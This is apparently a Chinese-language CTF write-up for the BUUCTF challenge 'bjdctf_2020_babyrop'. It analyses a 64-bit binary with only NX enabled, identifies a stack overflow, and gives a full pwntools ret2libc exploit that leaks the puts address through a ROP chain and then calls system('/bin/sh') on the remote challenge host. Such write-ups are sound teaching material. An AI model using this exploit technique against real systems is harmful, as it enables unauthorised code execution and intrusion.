[buuctf]bjdctf_2020_babyrop 1
先看一下文件的基本信息

64位,保护措施就开了个NX
再用ida打开看一下

主要是调用了两个函数,那就点看这两个函数具体看看

这里看到出现了libc,可能在提示有libc泄露
在看看另一个函数

很明显有栈溢出
再去找找有没有后门函数,system,/bin/sh可以直接使用,发现什么都没有
这里的PIE保护也没有开,那就是利用libc进行做题了
64位在进行传参时第一个参数传给了rdi,找一下

点击查看代码
from pwn import*
p=remote('node5.buuoj.cn',28111)
elf=ELF('./babyrop')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x400733
ret=0x4004c9
main=0x4006ad
p.recvuntil('story!\n')
payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
puts_add=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_add))
system=puts_add-0x2a300
binsh=puts_add+0x11d6c7
p.recvuntil('story!\n')
payload=b'a'*0x28+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
p.sendline(payload)
p.interactive()

浙公网安备 33010602011771号